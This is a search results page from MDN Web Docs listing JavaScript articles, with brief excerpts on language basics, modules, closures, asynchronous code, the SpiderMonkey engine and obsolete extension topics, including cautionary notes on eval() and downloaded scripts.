Search completed in 1.05 seconds.
3599 results for "JavaScript":
Your results are loading. Please wait...
A re-introduction to JavaScript (JS tutorial) - JavaScript
because javascript is notorious for being the world's most misunderstood programming language.
...javascript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer.
...javascript was created in 1995 by brendan eich while he was an engineer at netscape.
...And 56 more matches
About JavaScript - JavaScript
what is javascript?
... javascript® (often shortened to js) is a lightweight, interpreted, object-oriented language with first-class functions, and is best known as the scripting language for web pages, but it's used in many non-browser environments as well.
... javascript runs on the client side of the web, which can be used to design / program how the web pages behave on the occurrence of an event.
...And 26 more matches
JavaScript modules - JavaScript
« previous this guide gives you all you need to get started with javascript module syntax.
... a background on modules javascript programs started off pretty small — most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed.
... fast forward a few years and we now have complete applications being run in browsers with a lot of javascript, as well as javascript being used in other contexts (node.js, for example).
...And 20 more matches
JavaScript data types and data structures - JavaScript
this article attempts to list the built-in data structures available in javascript and what properties they have.
... dynamic typing javascript is a loosely typed and dynamic language.
... variables in javascript are not directly associated with any particular value type, and any variable can be assigned (and re-assigned) values of all types: let foo = 42; // foo is now a number foo = 'bar'; // foo is now a string foo = true; // foo is now a boolean data and structure types the latest ecmascript standard defines nine types: six data types that are primitives, checked by typeof operator: undefined : typeof instance === "undefined" boolean : typeof instance === "boolean" number : typeof instance === "number" string : typeof instance === "string" bigint : typeof instance === "bigint" symbol : typeof instance === "symbol" null : typeof instance === "object".
...And 16 more matches
JavaScript shells - JavaScript
a javascript shell allows you to quickly test snippets of javascript code without having to reload a web page.
... standalone javascript shells the following javascript shells are stand-alone environments, like perl or python.
... jsdb - a standalone javascript shell, with compiled binaries for windows, mac, and linux.
...And 13 more matches
About the JavaScript reference - JavaScript
the javascript reference serves as a repository of facts about the javascript language.
...as you write javascript code, you'll refer to these pages often (thus the title "javascript reference").
... if you're learning javascript, or need help understanding some of its capabilities or features, check out the javascript guide.
...And 9 more matches
JavaScript typed arrays - JavaScript
javascript typed arrays are array-like objects that provide a mechanism for reading and writing raw binary data in memory buffers.
... as you may already know, array objects grow and shrink dynamically and can have any javascript value.
... javascript engines perform optimizations so that these arrays are fast.
...And 3 more matches
JavaScript reference - JavaScript
this part of the javascript section on mdn serves as a repository of facts about the javascript language.
... built-ins javascript standard built-in objects, along with their methods and properties.
...nalization intl intl.collator intl.datetimeformat intl.displaynames intl.listformat intl.locale intl.numberformat intl.pluralrules intl.relativetimeformat webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror statements javascript statements and declarations control flowblock break continue empty if...else switch throw try...catch declarations var let const functions and classes function function* async function return class iterations do...while for for each...in for...in for...of for await...of while other debugger import label with e...
...And 2 more matches
JavaScript Guide - JavaScript
the javascript guide shows you how to use javascript and gives an overview of the language.
... if you need exhaustive information about a language feature, have a look at the javascript reference.
... chapters this guide is divided into several chapters: introduction about this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & parameters arrow functions expressions and operators assignment & comparisons arithmetic operators bitwise & logical operators conditional (ternary) operator numbers and dates number l...
...es creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta programming proxy handlers and traps revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading next » ...
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and content and css sets the formatting and appearance, javascript adds interactivity to a webpage and creates rich web applications.
... however, the umbrella term "javascript" as understood in a web browser context contains several very different elements.
... javascript, the core language (ecmascript) the core language of javascript is standardized by the ecma tc39 committee as a language named ecmascript.
...the internationalization api provides collation (string comparison), number formatting, and date-and-time formatting for javascript applications, letting the applications choose the language and tailor the functionality to their needs.
JavaScript error reference - JavaScript
below, you'll find a list of errors which are thrown by javascript.
... for a beginner's introductory tutorial on fixing javascript errors, see what went wrong?
... troubleshooting javascript.
...lid assignment to const "x"typeerror: property "x" is non-configurable and can't be deletedtypeerror: setting getter-only property "x"typeerror: variable "x" redeclares argumenturierror: malformed uri sequencewarning: 08/09 is not a legal ecma-262 octal constantwarning: -file- is being assigned a //# sourcemappingurl, but already has onewarning: date.prototype.tolocaleformat is deprecatedwarning: javascript 1.6's for-each-in loops are deprecatedwarning: string.x is deprecated; use string.prototype.x insteadwarning: expression closures are deprecatedwarning: unreachable code after return statement ...
JavaScript language resources - JavaScript
ecmascript is the scripting language that forms the basis of javascript.
...this is the third revision of the ecmascript standard; corresponds to javascript 1.5.
... implementations spidermonkey - the javascript engine used in various mozilla products, including firefox; rhino - the javascript engine is written in java; tamarin - the actionscript virtual machine (used in the adobe® flash® player); other implementations (wikipedia).
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
the javascript warning "javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead" occurs when a for each (variable in obj) statement is used.
... message warning: javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead error type warning what went wrong?
... javascript 1.6's for each (variable in obj) statement is deprecated, and will be removed in the near future.
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at common cross-browser javascript problems and how to fix them.
... this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more.
... prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing.
...And 60 more matches
What is JavaScript? - Learn web development
overview: first steps next welcome to the mdn beginner's javascript course!
... in this article we will look at javascript from a high level, answering questions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
... objective: to gain familiarity with what javascript is, what it can do, and how it fits into a web site.
...And 59 more matches
Details of the object model - JavaScript
« previousnext » javascript is an object-based language based on prototypes, rather than being class-based.
... because of this different basis, it can be less apparent how javascript allows you to create hierarchies of objects and to have inheritance of properties and their values.
... this chapter assumes that you are already somewhat familiar with javascript and that you have used javascript functions to create simple objects.
...And 47 more matches
Introduction - JavaScript
« previousnext » this chapter introduces javascript and discusses some of its fundamental concepts.
...if you are new to programming, try one of the tutorials linked on the main page about javascript.
... where to find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet.
...And 44 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
by davey waterson, javascript architect, aptana there's no debate that javascript is the most widely used language client-side on the web.
... regardless of how the back-ends of your web applications are implemented, client side you're using javascript for everything from same form validations to full ajax applications.
... now imagine being able to develop web apps using javascript server-side too.
...And 33 more matches
JavaScript
javascript (js) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions.
...javascript is a prototype-based, multi-paradigm, single-threaded, dynamic language, supporting object-oriented, imperative, and declarative (e.g.
...read more about javascript.
...And 30 more matches
JavaScript basics - Learn web development
previous overview: getting started with the web next javascript is a programming language that adds interactivity to your website.
...this article helps you get started with javascript and furthers your understanding of what is possible.
... what is javascript?
...And 29 more matches
Grammar and types - JavaScript
« previousnext » this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
... basics javascript borrows most of its syntax from java, c, and c++, but it has also been influenced by awk, perl, and python.
... javascript is case-sensitive and uses the unicode character set.
...And 29 more matches
Introduction to the JavaScript shell
the javascript shell (js) is a command-line program included in the spidermonkey source distribution.
... it is the javascript equivalent of python's interactive prompt, the lisp read-eval-print loop, or ruby's irb.
... this article explains how to use the shell to experiment with javascript code and run javascript programs.
...And 27 more matches
Avoiding leaks in JavaScript XPCOM components
using xpcom in javascript (also known as xpconnect) is an environment where memory management issues are not obvious.
...despite this, it's easy to write javascript code that leaks.
... programmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
...And 27 more matches
CSS and JavaScript accessibility best practices - Learn web development
previous overview: accessibility next css and javascript, when used properly, also have the potential to allow for accessible web experiences ...
...this article outlines some css and javascript best practices that should be considered to ensure even complex content is as accessible as possible.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and understanding of what accessibility is.
...And 22 more matches
Inheritance and the prototype chain - JavaScript
javascript is a bit confusing for developers experienced in class-based languages (like java or c++), as it is dynamic and does not provide a class implementation per se (the class keyword is introduced in es2015, but is syntactical sugar, javascript remains prototype-based).
... when it comes to inheritance, javascript only has one construct: objects.
... nearly all objects in javascript are instances of object which sits on the top of a prototype chain.
...And 22 more matches
A first splash into JavaScript - Learn web development
previous overview: first steps next now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial.
... prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
... objective: to have a first bit of experience at writing some javascript, and gain at least a basic understanding of what writing a javascript program involves.
...And 20 more matches
Basic math in JavaScript — numbers and operators - Learn web development
previous overview: first steps next at this point in the course we discuss math in javascript — how we can use operators and other features to successfully manipulate numbers to do our bidding.
... prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
... objective: to gain familiarity with the basics of math in javascript.
...And 20 more matches
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to common problems you may encounter when writing javascript.
... running code after a return statement remember also that when you return from a function, the javascript interpreter exits the function — no code after the return statement will run.
... object notation versus normal assignment when you assign something normally in javascript, you use a single equals sign, e.g.: const mynumber = 0; with objects, however, you need to take care to use the correct syntax.
...And 19 more matches
Use JavaScript within a webpage - Learn web development
take your webpages to the next level by harnessing javascript.
... learn in this article how to trigger javascript right from your html documents.
... objective: learn how to trigger javascript in your html file, and learn the most important best practices for keeping javascript accessible.
...And 18 more matches
Strict mode - JavaScript
javascript's strict mode, introduced in ecmascript 5, is a way to opt in to a restricted variant of javascript, thereby implicitly opting-out of "sloppy mode".
... strict mode makes several changes to normal javascript semantics: eliminates some javascript silent errors by changing them to throw errors.
... fixes mistakes that make it difficult for javascript engines to perform optimizations: strict mode code can sometimes be made to run faster than identical code that's not strict mode.
...And 17 more matches
Working with objects - JavaScript
« previousnext » javascript is designed on a simple object-based paradigm.
... objects overview objects in javascript, just as in many other programming languages, can be compared to objects in real life.
... the concept of objects in javascript can be understood with real life, tangible objects.
...And 16 more matches
New in JavaScript - Archive of obsolete content
this chapter contains information about javascript's version history and implementation status for mozilla/spidermonkey-based javascript applications, such as firefox.
... ecmascript versions language resources learn more about the ecmascript standards on which the javascript language is based on.
... javascript versions deprecated ( ).
...And 15 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when debugging or, possibly, when trying to decide upon the best approach to solving a problem around timing and scheduling of tasks and microtasks, there are things about how the javascript runtime operates under the hood that may be useful to understand.
... that's what this section covers introduction javascript is an inherently single-threaded language.
... it was designed in an era in which this was a positive choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by javascript was relatively low at that time.
...And 15 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
javascript contains characters which can not exist in xhtml javascript typically contains characters which can not exist in xhtml outside of cdata sections.
... <script type="text/javascript"> var i = 0; while (++i < 10) { // ...
... <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore content inside of comments.
...And 14 more matches
Inheritance in JavaScript - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects).
... objective: to understand how it is possible to implement inheritance in javascript.
...how do we create an object in javascript that inherits from another object?
...And 14 more matches
Using the WebAssembly JavaScript API - WebAssembly
if you have already compiled a module from another language using tools like emscripten, or loaded and run the code yourself, the next step is to learn more about using the other features of the webassembly javascript api.
... some simple examples let’s run through some examples that explain how to use the webassembly javascript api, and how to use it to load a wasm module in a web page.
...we need to reflect this two-level namespace in javascript when writing the object to be imported into the wasm module.
...And 14 more matches
JavaScript Daemons Management - Archive of obsolete content
in the javascript programming language, daemons are all processes created by javascript timers or by a worker instantiation.
... advantages of this approch: abstraction passage of this object to javascript timers (both setinterval and settimeout) optimisation (avoiding closures) modularity the code the code of this framework is split into three files: daemon.js (the core) daemon-safe.js (an extension of the core which adds a replacement of setinterval with a recursive invocation of settimeout) daemon-methods.js (a wide and highly scalable collection of methods) the only independent modu...
...2 |*| |*| daemon.js - a javascript highly scalable daemons manager.
...And 13 more matches
New in JavaScript 1.3 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 4.0 to 4.5.
... the most significant change in javascript 1.3 was compliance with ecma-262 and unicode by removing inconsistencies between javascript 1.2 and the new ecma standard (which was published in june 1997).
... additional features of version 1.2, at the time not specified by ecma-262 were kept in the javascript language (see below for a list of differences).
...And 13 more matches
JavaScript First Steps - Learn web development
in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
... get started prerequisites before starting this module, you don't need any previous javascript knowledge, but you should have some familiarity with html and css.
... you are advised to work through the following modules before starting on javascript: getting started with the web (which includes a really basic javascript introduction).
...And 12 more matches
Object-oriented JavaScript for beginners - Learn web development
previous overview: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented programming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects).
... objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances.
...And 12 more matches
JavaScript performance - Learn web development
previous overview: performance next while images and video account for over 70% of the bytes downloaded for the average website, byte per byte, javascript has a greater negative impact on performance.
... this article looks to introduce performance issues caused by scripts and introduces tips and tricks for optimizing javascript for web performance.
... objective: to learn about the effects of javascript on performance optimization, and how a javascript file size is not the only impact on web performance.
...And 12 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution environment.
... javascript promises and the mutation observer api both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current event loop pass is wrapping up.
... tasks vs microtasks to properly discuss microtasks, it's first useful to know what a javascript task is and how microtasks differ from tasks.
...And 12 more matches
JavaScript object basics - Learn web development
overview: objects next in this article, we'll look at fundamental javascript object syntax, and revisit some javascript features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects.
... prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks).
... objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("most things are objects"), and how to start working with javascript objects.
...And 11 more matches
Expressions and operators - JavaScript
« previousnext » this chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
... operators javascript has the following types of operators.
... assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator comma operator unary operators relational operators javascript has both binary and unary operators, and one special ternary operator, the conditional operator.
...And 11 more matches
eval() - JavaScript
warning: executing javascript from a string is an enormous security risk.
... the eval() function evaluates javascript code represented as a string.
... syntax eval(string) parameters string a string representing a javascript expression, statement, or sequence of statements.
...And 11 more matches
Lexical grammar - JavaScript
this page describes javascript's lexical grammar.
...however, in some cases, line terminators can influence the execution of javascript code as there are a few places where they are forbidden.
... \r u+2028 line separator <ls> wikipedia u+2029 paragraph separator <ps> wikipedia comments comments are used to add hints, notes, suggestions, or warnings to javascript code.
...And 11 more matches
JavaScript Object Management - Archive of obsolete content
« previousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
... the first step to good javascript object management is having a namespace, or a javascript object that contains our code and data, that you know will not conflict with firefox code or other extensions.
...it's one of the funky properties of javascript: all objects are nothing more than name / value mappings.
...And 10 more matches
Handling text — strings in JavaScript - Learn web development
in this article, we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together.
... prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
... objective: to gain familiarity with the basics of strings in javascript.
...And 10 more matches
Introducing JavaScript objects - Learn web development
in javascript, most things are objects, from core javascript features like arrays to the browser apis built on top of javascript.
...the object-based nature of javascript is important to understand if you want to go further with your knowledge of the language, therefore we've provided this module to help you.
...you are advised to work through the introduction to html and introduction to css modules before starting on javascript.
...And 10 more matches
JavaScript — Dynamic client-side scripting - Learn web development
javascript is a programming language that allows you to implement complex things on web pages.
... every time a web page does more than just sit there and display static information for you to look at—displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, or more—you can bet that javascript is probably involved.
... get started prerequisites javascript is arguably more difficult to learn than related technologies such as html and css.
...And 10 more matches
Using JavaScript code modules
javascript code modules are a concept introduced in gecko 1.9 and can be used for sharing code between different privileged scopes.
... modules can also be used to create global javascript singletons that previously required using javascript xpcom objects.
... a javascript code module is simply some javascript code located in a registered location.
...And 10 more matches
Control flow and error handling - JavaScript
« previousnext » javascript supports a compact set of statements, specifically control flow statements, that you can use to incorporate a great deal of interactivity in your application.
... the javascript reference contains exhaustive details about the statements in this chapter.
... the semicolon (;) character is used to separate statements in javascript code.
...And 10 more matches
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascript (or "js") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js.
... javascript should not be confused with the java programming language.
... although "java" and "javascript" are trademarks (or registered trademarks) of oracle in the u.s.
...And 9 more matches
The JavaScript Runtime
compilation to java bytecodes for improved performance, rhino may compile javascript scripts to java bytecodes.
...each javascript script or function is compiled to a separate class.
... compilation of javascript source to class files is supported.
...And 9 more matches
Indexed collections - JavaScript
javascript does not have an explicit array data type.
... let arr = [] arr[3.4] = 'oranges' console.log(arr.length) // 0 console.log(arr.hasownproperty(3.4)) // true you can also populate an array when you create it: let myarray = new array('hello', myvar, 3.14159) // or let myarray = ['mango', 'apple', 'orange'] understanding length at the implementation level, javascript's arrays actually store their elements as standard object properties, using the array index as the property name.
... remember, javascript array indexes are 0-based: they start at 0, not 1.
...And 9 more matches
Memory Management - JavaScript
in contrast, javascript automatically allocates memory when objects are created and frees it when they are not used anymore (garbage collection).
...the first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like javascript.
... allocation in javascript value initialization in order to not bother the programmer with allocations, javascript will automatically allocate memory when values are initially declared.
...And 9 more matches
Exception logging in JavaScript - Archive of obsolete content
in versions of firefox prior to firefox 3, all javascript exceptions were always logged into the error console if they remained unhandled at the time execution returned back into c++ code.
... as a result, if, for example, c++ code called a javascript component, which threw an exception, that exception would be logged to the console before control was returned to the c++ caller.
...javascript code is sometimes designed to throw exceptions to report a result condition back to the c++ caller.
...And 8 more matches
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
... prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals.
... objective: to gain familiarity with what asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has.
...And 8 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
never fear — this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs.
... prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
... fixing syntax errors earlier on in the course we got you to type some simple javascript commands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the previous link to find out how).
...And 8 more matches
JavaScript code modules
note: these are not the same thing as standard javascript modules.
... javascript code modules let multiple privileged javascript scopes share code.
... general topics using javascript code modules an introduction to how to use javascript code modules.
...And 8 more matches
Writing JavaScript for XHTML - Archive of obsolete content
(rather than displaying content, it would present the user with a file download dialog.) but it is also founded in the experience that javascript, authored carefully for html, can break when placed with an xml environment.
...it will encourage web authors to use more xml features and make their javascript interoperable with real xhtml applications.
...the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in comments.
...And 7 more matches
Creating JavaScript callbacks in components
these interfaces are used to manipulate the component in c++ and javascript.
...javascript functions as callbacks another common use of the pattern is found in addeventlistener / removeeventlistener.
... a nice feature of addeventlistener is that you can pass a javascript function in place of the callback listener interface.
...And 7 more matches
Functions - JavaScript
« previousnext » functions are one of the fundamental building blocks in javascript.
... a function in javascript is similar to a procedure—a set of statements that performs a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some obvious relationship between the input and the output.
... see also the exhaustive reference chapter about javascript functions to get to know the details.
...And 7 more matches
Array - JavaScript
the javascript array class is a global object that is used in the construction of arrays; which are high-level, list-like objects.
...neither the length of a javascript array nor the types of its elements are fixed.
... since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the programmer chooses to use them.
...And 7 more matches
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website.
... once the content has been downloaded, the extension authors proceed to use eval() to decode the string content into javascript objects.
... the practice is dangerous because the decoded javascript has full chrome privileges and could perform some nasty actions.
...And 6 more matches
New in JavaScript 1.1 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 2.0 to 3.0.
...netscape navigator 3.0 was the second major version of the browser with javascript support.
... javascript versions netscape navigator 3.0 also introduced javascript language versions.
...And 6 more matches
New in JavaScript 1.8 - Archive of obsolete content
the following is a changelog for javascript 1.8.
...see bug 380236 for a tracking development bug for javascript 1.8.
... using javascript 1.8 in order to use some of the new features of javascript 1.8 in html, use: <script type="application/javascript;version=1.8"> ...
...And 6 more matches
SpiderMonkey: The Mozilla JavaScript runtime
spidermonkey is mozilla's javascript engine written in c and c++.
... using spidermonkey introduction to the javascript shell documentation of the command-line javascript shell, js.
... jsapi user guide this guide provides an overview of spidermonkey and describes how you can embed engine calls in your applications to make them javascript-aware.
...And 6 more matches
Intensive JavaScript - Firefox Developer Tools
by default the browser uses a single thread to run all the javascript in your page as well as to perform layout, reflows, and garbage collection.
... this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience.
... you can use the frame rate and waterfall tools to see when javascript is causing performance problems, and to single out the particular functions that need attention.
...And 6 more matches
New in JavaScript 1.2 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 3.0 to 4.0.
...netscape navigator 4.0 was the third major version of the browser with javascript support.
... javascript versions netscape navigator 4.0 executes javascript language versions up to 1.2.
...And 5 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
previous overview: asynchronous next this tutorial looks at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g.
... prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals.
... introduction for a long time, the web platform has offered javascript programmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop.
...And 5 more matches
How to build an XPCOM component in JavaScript
if you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.
... this is a "hello world" tutorial for creating an xpcom component in javascript.
...if you want to use your component only from javascript, you can skip to the next section.
...And 5 more matches
Functions - JavaScript
in javascript, functions are first-class objects, because they can have properties and methods just like any other object.
... for more examples and explanations, see also the javascript guide about functions.
... description every function in javascript is a function object.
...And 5 more matches
FinalizationRegistry - JavaScript
when, how, and whether garbage collection occurs is down to the implementation of any given javascript engine.
...garbage collection is a hard problem that javascript engine implementers are constantly refining and improving their solutions to.
... the javascript engine may hold references to things which look like they are unreachable (e.g., in closures, or inline caches).
...And 5 more matches
JSON - JavaScript
the json object contains methods for parsing javascript object notation (json) and converting values to json.
... description javascript and json differences json is a syntax for serializing objects, arrays, numbers, strings, booleans, and null.
... it is based upon javascript syntax but is distinct from it: some javascript is not json.
...And 5 more matches
WeakRef - JavaScript
when an object no longer has any strong references to it, the javascript engine's garbage collector may destroy the object and reclaim its memory.
...when, how, and whether garbage collection occurs is down to the implementation of any given javascript engine.
...garbage collection is a hard problem that javascript engine implementers are constantly refining and improving their solutions to.
...And 5 more matches
JavaScript timers - Archive of obsolete content
a block of javascript code is generally executed synchronously.
... but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() setimmediate() requestanimationframe() the settimeout() function is commonly used if you wish to have your function called once after the specified delay.
... using javascript timers within animations (javascript daemons management) in computer science a daemon is a task that runs as a background process, rather than being under the direct control of an interactive user.
...And 4 more matches
Sending forms through JavaScript - Learn web development
but forms can also prepare an http request to send via javascript, for example via xmlhttprequest.
... sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascript and xml".
... let's look at an example: <button>click me!</button> and now the javascript: const btn = document.queryselector('button'); function senddata( data ) { console.log( 'sending data' ); const xhr = new xmlhttprequest(); let urlencodeddata = "", urlencodeddatapairs = [], name; // turn the data object into an array of url-encoded key/value pairs.
...And 4 more matches
Asynchronous JavaScript - Learn web development
in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.
... get started prerequisites asynchronous javascript is a fairly advanced topic, and you are advised to work through javascript first steps and javascript building blocks modules before attempting this.
...if you are, then you can probably skip to the introducing asynchronous javascript module.
...And 4 more matches
Rhino JavaScript compiler
overview the javascript compiler translates javascript source into java class files.
... the resulting java class files can then be loaded and executed at another time, providing a convenient method for transferring javascript, and for avoiding translation cost.
... compiler command line java org.mozilla.javascript.tools.jsc.main [options] file1.js [file2.js...] where options are: -extends java-class-name specifies that a java class extending the java class java-class-name should be generated from the incoming javascript source file.
...And 4 more matches
Closures - JavaScript
in javascript, closures are created every time a function is created, at function creation time.
...however, because the code still works as expected, this is obviously not the case in javascript.
... the reason is that functions in javascript form closures.
...And 4 more matches
Numbers and dates - JavaScript
« previousnext » this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
... numbers in javascript, numbers are implemented in double-precision 64-bit binary format ieee 754 (i.e., a number between ±2−1022 and ±2+1023, or about ±10−308 to ±10+308, with a numeric precision of 53 bits).
... a more recent addition to javascript is bigint which lets you represent integers that may be very large.
...And 4 more matches
CSS and JavaScript animation performance - Web Performance
there are many ways to implement web animations, such as css transitions/animations or javascript-based animations (using requestanimationframe()).
... in this article, we analyse the performance differences between css- and javascript-based animation.
... requestanimationframe the requestanimationframe() api provides an efficient way to make animations in javascript.
...And 4 more matches
New in JavaScript 1.7 - Archive of obsolete content
the following is a changelog for javascript 1.7.
... javascript 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment.
... using javascript 1.7 in order to use some of the new features of javascript 1.7, you need to specify that you wish to use javascript 1.7.
...And 3 more matches
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... get started prerequisites before starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our previous module, javascript first steps.
...in this article we'll explore how conditional structures work in javascript.
...And 3 more matches
Understanding client-side JavaScript frameworks - Learn web development
javascript frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications.
... how do they relate to "vanilla" javascript or html?
... get started now, with "introduction to client-side frameworks" prerequisites you should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks — html, css, and especially javascript.
...And 3 more matches
Debugging JavaScript
this document is intended to help developers writing javascript code in mozilla, mainly for mozilla itself, but it may also be useful for web developers.
...this shows any javascript errors in your app, as well as any logging calls from the console api.
... browser console the browser console lets you see all javascript errors and logging in the browser, including from firefox code.
...And 3 more matches
Creating JavaScript jstest reftests
non262 tests the directory js/src/tests/non262/ should contain all tests of the following type: regressions of spidermonkey non-standard spidermonkey extensions to the javascript language test of "implementation-defined" details of the ecmascript standard for example, the exact definition of pi or some details of array sorting.
... if tests for the new feature proposal do not yet exist in test262 (they might!), contributing to test262 will allow all other javascript implementors to use your tests as well.
... expected = 3; actual = 1 + 2; reportcompare(expected, actual, '3==1+2'); comparesource comparesource(expected, actual, description) is used to test if the decompilation of a javascript object (conversion to source code) matches an expected value.
...And 3 more matches
The JavaScript input interpreter - Firefox Developer Tools
you can interpret javascript expressions in real time using the interpreter provided by the web console.
... single-line mode for single-line entry, you can type javascript expressions in the field at the bottom of the console log, at the >> prompt.
... you can enter multiple lines of javascript by default in this mode, pressing enter after each one.
...And 3 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
introduction this article is an overview of some powerful, fundamental dom level 1 methods and how to use them from javascript.
... example: creating an html table dynamically (sample1.html) html <input type="button" value="generate a table." onclick="generate_table()"> javascript function generate_table() { // get the reference for the body var body = document.getelementsbytagname("body")[0]; // creates a <table> element and a <tbody> element var tbl = document.createelement("table"); var tblbody = document.createelement("tbody"); // creating all cells for (var i = 0; i < 2; i++) { // creates a table row var row = document.createelement("tr"); ...
... here's the html markup generated by the javascript code: ...
...And 3 more matches
Regular expressions - JavaScript
in javascript, regular expressions are also objects.
...this chapter describes javascript regular expressions.
... why isn't this built into javascript?
...And 3 more matches
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
the javascript warning "-file- is being assigned a //# sourcemappingurl, but already has one." occurs when a source map has been specified more than once for a given javascript source.
...javascript execution won't be halted.
... a source map has been specified more than once for a given javascript source.
...And 3 more matches
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
the javascript warning "using //@ to indicate sourceurl pragmas is deprecated.
